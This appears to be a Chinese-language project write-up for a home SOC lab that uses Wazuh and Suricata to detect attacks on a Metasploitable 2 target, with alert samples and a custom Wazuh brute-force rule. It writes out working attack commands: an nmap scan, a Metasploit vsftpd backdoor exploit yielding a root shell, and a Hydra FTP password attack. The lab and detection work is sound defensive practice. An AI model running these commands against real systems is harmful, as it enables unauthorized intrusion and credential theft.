一个自托管的网络安全运营中心(SOC)实验室,旨在针对刻意配置的脆弱目标检测真实攻击技术,使用Wazuh作为SIEM,Suricata作为基于网络的IDS传感器。其构建目的是展示检测工程能力——而不仅仅是工具部署。
现代SOC工作不仅仅是“安装SIEM然后盯着仪表板”。而是要理解检测缺口为何存在,并知道如何弥补。本实验室模拟一个小型且真实的环境:一个攻击者主机、一个没有原生日志支持的遗留/脆弱目标,以及一个必须绕过该限制、使用网络层可见性而非主机代理的SIEM栈。
关键架构决策: 目标(Metasploitable 2)运行的操作系统过于老旧,无法支持现代Wazuh代理,甚至无法运行可访问互联网的syslog转发器。该项目没有将其视为障碍,而是转向通过Suricata进行全面的基于网络的检测——这是对于无法直接插桩的遗留、IoT或OT资产的现实模式。
┌─────────────┐ attacks ┌──────────────────────┐
│ Kali VM │ ────────────────────────▶│ Metasploitable 2 │
│ (attacker + │ │ (unmonitored victim, │
│ Suricata │ │ no agent, no │
│ sensor + │ │ internet access) │
│ Wazuh agent│ └──────────────────────┘
└──────┬──────┘
│ eve.json (Suricata alerts/events)
│ forwarded via Wazuh agent
▼
┌─────────────────────┐
│ Wazuh Manager │
│ (Amazon Linux 2023)│
│ Indexer + Dashboard│
└─────────────────────┘
所有三台虚拟机均运行在VirtualBox上,通过NAT组网于192.168.0.0/24。

| 组件 | 角色 | 操作系统 |
|---|---|---|
| Wazuh Manager | SIEM:索引器、仪表板、规则引擎 | Amazon Linux 2023 |
| Kali Linux | 攻击者 + Suricata网络传感器 + Wazuh代理 | Kali(基于Debian) |
| Metasploitable 2 | 易受攻击的目标,未受监控 | Ubuntu 8.04(遗留) |
Suricata需要能够看到攻击者与目标之间的流量。存在两种方案:一种是使用具有混杂/镜像接口的专用传感器虚拟机,另一种是将传感器部署在已经处于流量路径中的两台主机之一上。由于Wazuh管理器(Amazon Linux 2023)不支持EPEL,导致安装Suricata不切实际,而目标又完全无法运行任何代理,因此Suricata直接运行在Kali主机上。这意味着它能在自己的接口上看到100%的攻击流量,无需混杂模式或SPAN端口,并通过已注册在Kali上的Wazuh代理将事件发送给管理器。
攻击:
nmap -sV -A 192.168.0.138

检测: 当扫描触达每个开放端口时,Suricata的Emerging Threats规则集实时标记了多个与扫描相关及协议异常的签名,包括Metasploitable暴露的UnrealIRCd服务上的流量(ET CHAT IRC USER command)。
结果: 扫描完成后数秒内,生成了132+条IDS事件,并在Wazuh的威胁狩猎视图中被正确归类到ids, suricata规则组下。

攻击:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.0.138
msf6 > set LHOST 192.168.0.200
msf6 > run

Metasploitable的vsftpd 2.3.4包含一个由畸形的FTP登录字符串触发的后门,该后门会在TCP端口6200上生成一个root shell。该漏洞利用干净利落地生效,并以root身份返回了一个Meterpreter会话。
检测: 在shell生成11秒后,Suricata的GPL ATTACK_RESPONSE id check returned root签名(SID 2100498)触发,匹配到shell命令输出中通过端口6200传输的明文uid=0(root)字符串。
"signature": "GPL ATTACK_RESPONSE id check returned root",
"signature_id": 2100498,
"src_ip": "192.168.0.138",
"src_port": 6200,
"dest_ip": "192.168.0.200",
"direction": "to_client"

为什么这很重要: 这是对一个没有任何基于主机的日志记录的资产遭到root权限入侵成功这一情况的网络层确认——正是该架构设计用来处理的场景。
攻击:
hydra -l msfadmin -P /tmp/quicklist.txt -t 4 ftp://192.168.0.138

Hydra快速连续尝试了多次FTP登录,在数次失败尝试后正确识别出有效凭据对msfadmin:msfadmin。
检测状态: Suricata的FTP协议解析器在eve.json(event_type: ftp)中捕获了每一条单独的USER/PASS命令及服务器响应码,并确认已存在于管理器的原始事件存档中:
{"event_type":"ftp","src_ip":"192.168.0.200","dest_ip":"192.168.0.138",
"dest_port":21,"ftp":{"command":"PASS","command_data":"root",
"completion_code":["530"],"reply":["Login incorrect."]}}

Suricata的默认规则集没有专门针对FTP暴力破解的签名,因为它是一种协议模式而非已知恶意字符串。为此专门设计了一条自定义Wazuh关联规则来弥补这一缺口:
<group name="suricata,ftp,brute_force,">
<rule id="100100" level="5">
<if_sid>86600</if_sid>
<field name="event_type">^ftp$</field>
<field name="data.ftp.command">^PASS$</field>
<description>Suricata: FTP password attempt detected on $(data.dest_ip)</description>
</rule>
<rule id="100101" level="10" frequency="4" timeframe="60">
<if_matched_sid>100100</if_matched_sid>
<description>Suricata: Possible FTP brute force attack detected - multiple password attempts within 60 seconds</description>
<mitre>
<id>T1110</id>
</mitre>
</rule>
</group>
状态: 进行中——底层事件数据已确认到达管理器,规则语法也已通过wazuh-logtest验证,但关联规则(100101)尚未能在端到端链路中可靠触发。下一步调试工作是使用实时样本通过wazuh-logtest确认解析时分配给嵌套Suricata FTP字段的解码器字段路径。已列入下方“未来工作”。
archives.log/archives.json默认并未启用(logall/logall_json默认值为no),而它们对于排查SIEM实际接收到的内容与它选择发出告警的内容之间的差异至关重要。usermap_script RCE(CVE-2007-2447)作为第五项技术| 技术 | ID | 状态 |
|---|---|---|
| 主动扫描 | T1595 | ✅ 已检测 |
| 利用面向公众的应用程序 | T1190 | ✅ 已检测 |
| 暴力破解 | T1110 | 🔶 进行中 |